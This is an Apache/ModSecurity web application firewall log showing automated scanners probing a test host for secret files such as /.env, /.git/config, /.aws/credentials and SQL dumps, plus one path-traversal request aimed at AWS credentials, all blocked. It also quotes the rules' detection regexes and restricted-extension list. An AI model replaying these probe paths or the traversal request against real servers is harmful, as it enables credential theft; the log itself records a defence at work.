[Mon Nov 10 19:09:19.447651 2025] [:error] [pid 4149034] [client 64.226.65.160:45500] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRIqT7rzr4uBvRHfxzKaiAAAAAs"]
[Tue Nov 11 19:36:07.847170 2025] [:error] [pid 4188379] [client 62.60.131.162:49724] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCF2RWL6eY1Mb0ykMwJgAAAAo"]
[Tue Nov 11 19:36:07.847489 2025] [:error] [pid 4188379] [client 62.60.131.162:49724] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCF2RWL6eY1Mb0ykMwJgAAAAo"]
[Tue Nov 11 19:36:07.847719 2025] [:error] [pid 4188379] [client 62.60.131.162:49724] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCF2RWL6eY1Mb0ykMwJgAAAAo"]
[Tue Nov 11 19:36:08.006594 2025] [:error] [pid 4187671] [client 62.60.131.162:53718] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aROCGHz_MywVjnllMRvz2AAAAAQ"]
[Tue Nov 11 19:36:08.006832 2025] [:error] [pid 4187671] [client 62.60.131.162:53718] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aROCGHz_MywVjnllMRvz2AAAAAQ"]
[Tue Nov 11 19:36:08.007002 2025] [:error] [pid 4187671] [client 62.60.131.162:53718] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aROCGHz_MywVjnllMRvz2AAAAAQ"]
[Tue Nov 11 19:36:19.930239 2025] [:error] [pid 4182322] [client 62.60.131.162:55598] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aROCI8igdidSJZS2nZXtuQAAAGU"]
[Tue Nov 11 19:36:19.930551 2025] [:error] [pid 4182322] [client 62.60.131.162:55598] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aROCI8igdidSJZS2nZXtuQAAAGU"]
[Tue Nov 11 19:36:19.930715 2025] [:error] [pid 4182322] [client 62.60.131.162:55598] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aROCI8igdidSJZS2nZXtuQAAAGU"]
[Tue Nov 11 19:36:19.931942 2025] [:error] [pid 4182356] [client 62.60.131.162:51966] [client 62.60.131.162] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aROCI29XYEYRjvNy502eNwAAAIc"]
[Tue Nov 11 19:36:19.932146 2025] [:error] [pid 4182356] [client 62.60.131.162:51966] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aROCI29XYEYRjvNy502eNwAAAIc"]
[Tue Nov 11 19:36:19.932406 2025] [:error] [pid 4182356] [client 62.60.131.162:51966] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aROCI29XYEYRjvNy502eNwAAAIc"]
[Tue Nov 11 19:36:19.932560 2025] [:error] [pid 4182356] [client 62.60.131.162:51966] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aROCI29XYEYRjvNy502eNwAAAIc"]
[Tue Nov 11 19:36:20.033436 2025] [authz_core:error] [pid 4187670] [client 62.60.131.162:55980] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Nov 11 19:36:20.072964 2025] [:error] [pid 4182328] [client 62.60.131.162:53533] [client 62.60.131.162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCJEItK4BSfhICLlAd3QAAAGs"]
[Tue Nov 11 19:36:20.073218 2025] [:error] [pid 4182328] [client 62.60.131.162:53533] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCJEItK4BSfhICLlAd3QAAAGs"]
[Tue Nov 11 19:36:20.073398 2025] [:error] [pid 4182328] [client 62.60.131.162:53533] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aROCJEItK4BSfhICLlAd3QAAAGs"]
[Tue Nov 11 19:36:20.104229 2025] [:error] [pid 4188379] [client 62.60.131.162:56916] [client 62.60.131.162] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aROCJGRWL6eY1Mb0ykMwKQAAAAo"]
[Tue Nov 11 19:36:20.104511 2025] [:error] [pid 4188379] [client 62.60.131.162:56916] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aROCJGRWL6eY1Mb0ykMwKQAAAAo"]
[Tue Nov 11 19:36:20.104662 2025] [:error] [pid 4188379] [client 62.60.131.162:56916] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aROCJGRWL6eY1Mb0ykMwKQAAAAo"]
[Tue Nov 11 19:36:20.133742 2025] [:error] [pid 4188389] [client 62.60.131.162:51760] [client 62.60.131.162] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aROCJKqriFBZRNHl-7qSCwAAABE"]
[Tue Nov 11 19:36:20.133810 2025] [:error] [pid 4188389] [client 62.60.131.162:51760] [client 62.60.131.162] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aROCJKqriFBZRNHl-7qSCwAAABE"]
[Tue Nov 11 19:36:20.133846 2025] [:error] [pid 4188389] [client 62.60.131.162:51760] [client 62.60.131.162] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "69"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aROCJKqriFBZRNHl-7qSCwAAABE"]
[Tue Nov 11 19:36:20.148090 2025] [:error] [pid 4188461] [client 62.60.131.162:51764] [client 62.60.131.162] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aROCJLu5uNjT_B-Jt13GAgAAAEE"]
[Tue Nov 11 19:36:20.148415 2025] [:error] [pid 4188461] [client 62.60.131.162:51764] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aROCJLu5uNjT_B-Jt13GAgAAAEE"]
[Tue Nov 11 19:36:20.148574 2025] [:error] [pid 4188461] [client 62.60.131.162:51764] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aROCJLu5uNjT_B-Jt13GAgAAAEE"]
[Tue Nov 11 19:36:20.151146 2025] [:error] [pid 4188409] [client 62.60.131.162:51763] [client 62.60.131.162] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aROCJKAgmgp3OElyveQq-QAAAB4"]
[Tue Nov 11 19:36:20.151450 2025] [:error] [pid 4188409] [client 62.60.131.162:51763] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aROCJKAgmgp3OElyveQq-QAAAB4"]
[Tue Nov 11 19:36:20.151616 2025] [:error] [pid 4188409] [client 62.60.131.162:51763] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aROCJKAgmgp3OElyveQq-QAAAB4"]
[Tue Nov 11 19:36:20.159330 2025] [:error] [pid 4188389] [client 62.60.131.162:51760] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aROCJKqriFBZRNHl-7qSCwAAABE"]
[Tue Nov 11 19:36:20.159508 2025] [:error] [pid 4188389] [client 62.60.131.162:51760] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/pms"] [unique_id "aROCJKqriFBZRNHl-7qSCwAAABE"]
[Wed Nov 12 06:33:57.821472 2025] [authz_core:error] [pid 6180] [client 134.122.28.88:37476] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Nov 12 06:33:58.811896 2025] [:error] [pid 3628] [client 134.122.28.88:37504] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRQcRqYNu_LXzxzC_onO1QAAAAA"]
[Wed Nov 12 06:33:58.812102 2025] [:error] [pid 3628] [client 134.122.28.88:37504] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRQcRqYNu_LXzxzC_onO1QAAAAA"]
[Wed Nov 12 06:33:58.812248 2025] [:error] [pid 3628] [client 134.122.28.88:37504] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRQcRqYNu_LXzxzC_onO1QAAAAA"]
[Wed Nov 12 06:33:59.100890 2025] [:error] [pid 6182] [client 134.122.28.88:37510] [client 134.122.28.88] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRQcRyUIYrgbpbpWfiRD6gAAAAw"]
[Wed Nov 12 06:33:59.101147 2025] [:error] [pid 6182] [client 134.122.28.88:37510] [client 134.122.28.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRQcRyUIYrgbpbpWfiRD6gAAAAw"]
[Wed Nov 12 06:33:59.101335 2025] [:error] [pid 6182] [client 134.122.28.88:37510] [client 134.122.28.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRQcRyUIYrgbpbpWfiRD6gAAAAw"]
